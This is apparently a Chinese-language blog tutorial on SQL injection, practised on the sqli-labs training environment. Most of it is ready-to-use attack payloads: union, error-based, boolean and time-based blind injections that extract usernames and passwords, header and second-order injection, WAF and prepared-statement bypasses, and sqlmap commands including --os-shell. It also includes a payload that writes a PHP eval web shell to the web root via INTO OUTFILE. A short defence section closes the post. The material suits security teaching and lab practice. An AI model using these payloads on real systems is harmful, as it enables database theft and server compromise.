SQL注入从入门到实战

涵盖联合查询、报错注入、布尔/时间盲注、堆叠注入、POST/HTTP头注入、二次注入、文件写入Getshell、预编译原理与绕过、宽字节、WAF绕过等。实战基于 sqli-labs。


一、SQL注入本质

不该被查询到的数据,被查到了。原因是用户输入被直接拼接到SQL语句中执行。

sql 复制代码
-- 正常
SELECT * FROM users WHERE id = '1'
-- 注入后:id=1' OR '1'='1
SELECT * FROM users WHERE id = '1' OR '1'='1'   -- 返回全部数据

二、前置知识

核心库:information_schema

作用 关键字段
SCHEMATA 所有数据库名 SCHEMA_NAME
TABLES 所有表名 table_schema, table_name
COLUMNS 所有列名 table_schema, table_name, column_name

常用系统函数: user()database()version()

截断函数: substr()substring()left()right()mid()

注释符: --+(--空格)、#/**/

三、联合查询注入(Union Query)

条件:页面有回显

sql 复制代码
-- 1.判断列数
?id=1' order by 3--+   -- 不报错则3列,报错则减

-- 2.确定回显位(id设为一个不存在的值,让union结果显示)
?id=-1' union select 1,2,3--+

-- 3.爆库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

-- 4.爆表(group_concat合并多行,避免子查询只能返回一行的限制)
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

-- 5.爆列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

-- 6.爆数据(0x3a=冒号,做分隔符)
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

四、报错注入

条件:页面无回显,但有SQL错误信息输出

主力函数: updatexml(1, concat(0x7e, 查询语句, 0x7e), 1),报错位置在第二个参数。

sql 复制代码
-- 爆库
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

-- 爆表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

-- 爆数据(xpath报错最多32位,超出用substr分段)
?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username,password),1,32) from users),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username,password),33,64) from users),0x7e),1)--+

其他报错函数:

函数 版本 示例
extractvalue(1, concat(0x7e,user(),0x7e)) 5.0+ 同上,少一个参数
floor() 5.0~8.x ')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
ST_LatFromGeoHash() 5.7+ and ST_LatFromGeoHash(concat(0x7e,user(),0x7e))--+
GTID_SUBSET() 5.6+ ') or gtid_subset(concat(0x7e,user(),0x7e),1)--+

五、盲注

条件:页面无回显、无报错,只有"真/假"两种状态

布尔盲注 --- 根据页面差异逐位猜

sql 复制代码
-- 猜数据库长度
?id=1' and length(database())=8--+          -- 正常→长度8

-- 逐字符猜库名(二分法:每次折半,7次确定一个字符)
?id=1' and ascii(substr(database(),1,1))=115--+  -- 正常→'s'

-- 猜表名(嵌套子查询)
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+

时间盲注 --- 页面无差异时用sleep判断

sql 复制代码
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1)--+  -- 延迟3秒→匹配

对比: 布尔盲注较快(秒级),时间盲注极慢(一个字符几秒),优先用布尔盲注。

六、POST注入

与GET注入原理相同,数据在请求体中传递。

sql 复制代码
uname=admin' union select 1,user()#&passwd=123

确保union前的查询结果为假(用不存在的用户名),否则页面显示已有用户而非union结果。

七、HTTP头注入

注入点可能在 User-Agent、Cookie、Referer 等请求头中。

sql 复制代码
-- sqli-labs Lesson-18:User-Agent注入
User-Agent: a' and updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1

-- 补全SQL语句的闭合
User-Agent: a' and updatexml(1,concat(0x7e,user(),0x7e),1),'127.0.0.1','admin')#

八、二次注入

恶意数据先存入数据库→后续操作取出拼接到SQL中触发。

经典场景: 注册用户名为 admin'# → 修改密码时,SQL变为修改 admin 的密码。

九、文件写入Getshell

条件: root权限 + secure_file_priv='' + 知道Web路径

sql 复制代码
?id=1')) union select 1,'<?php @eval($_POST["cmd"]); ?>',3 into outfile 'E:/phpStudy/WWW/shell.php'--+

secure_file_priv 是只读变量,无法SQL修改,需在 my.ini 中配置。

十、绕过技巧

绕过目标 方法 示例
空格 注释 /**/、括号、换行符 select/**/1,2select(user())
引号 十六进制替代 0x7573657273 = 'users'
逗号 join 替代 union select * from (select 1)a join (select 2)b
等号 like/regexp/in where table_name like 'users'
关键字 双写 aandndand
科学计数法 WAF与后端解析差异 id=1e0union select...
HPP PHP取最后一个参数 ?i.d=-1union...&i_d=1(绕过检测函数)
空格/换行 %0a、%09、%a0 代替空格

十一、宽字节注入

原理: GBK编码下 %df%5c 被解析为一个汉字"运",%5c被消耗,单引号逃逸。

sql 复制代码
?id=1%df' union select 1,2,3--+

生产环境几乎不可用:现在没人用GBK,都用真预编译。

十二、预编译原理与绕过

预编译将"语句"和"参数"分开,先构建语法树再传参,消除歧义。

两种模式:

  • 虚假预编译(默认):底层无绑定,只是自动加引号转义,本质像过滤函数
  • 真实预编译prepareexecute两步,参数不会被解析为SQL指令

预编译无法防御的位置: order bygroup by(参数加引号会失效)、表名/列名、limit(低版本MySQL)

预编译只是消除了SQL执行的歧义,没有消除SQL注入本身。

十三、SQLMap速查

bash 复制代码
# 基础
sqlmap -u "http://target.com/?id=1"
sqlmap -u "http://target.com/login" --data="user=admin&pass=123"
sqlmap -u "URL" --cookie="PHPSESSID=xxx" --proxy="http://127.0.0.1:8080"

# 参数
--os-shell    # 尝试获取系统Shell
--level=5     # 测试等级(1-5),3开始测Cookie,4开始测UA
--risk=3      # 风险等级(1-3),3包含OR注入(有破坏性)
--techniques=BEUSTQ  # B布尔/E报错/U联合/S堆叠/T时间/Q内联

# 仅使用时间盲注
sqlmap -u "URL" --techniques=T

十四、防御思路

  1. 预编译(参数化查询) --- 首选,防99%注入
  2. 不可参数化位置做白名单 --- order by/group by等只允许预设值
  3. 最小权限原则 --- 不用root连数据库
  4. WAF --- 补充防护层

相关推荐
Rsun045512 分钟前
MySQL 中什么是回表?
数据库·mysql
Sylvia33.34 分钟前
足球数据接口开发实战:如何用火星数据API盘活赛事应用
java·服务器·开发语言·数据库·python
ruleslol1 小时前
Mybatis11-不同的数据库连接池的配置
数据库·mybatis
苏州邦恩精密1 小时前
蔡司3D扫描仪厂家如何应用于航空航天制造
大数据·数据库·人工智能·3d·自动化·制造
拥抱太阳06161 小时前
HarmonyOS 应用开发《掌上英语》第14篇:可空类型与安全调用:ArkTS 的非空保障策略
安全
alxraves2 小时前
医院远程会诊系统:数据库模块设计与实现
数据库·oracle
Sirius Wu2 小时前
OpenClaw Observability 并发安全(Per-Request Hook)完整详解
服务器·网络·人工智能·安全·ai·架构·aigc
wordpress资料库2 小时前
WordPress数据表前缀的修改方法(完整版)
数据库·wordpress数据表前缀·wordpress修改前缀
xywww1682 小时前
AWS 账号安全加固:Root 与 IAM 用户的 MFA 设置实操清单
安全·云计算·aws
苦瓜汤补钙2 小时前
Oracle JDK8 环境配置-Win11
开发语言·数据库·笔记·oracle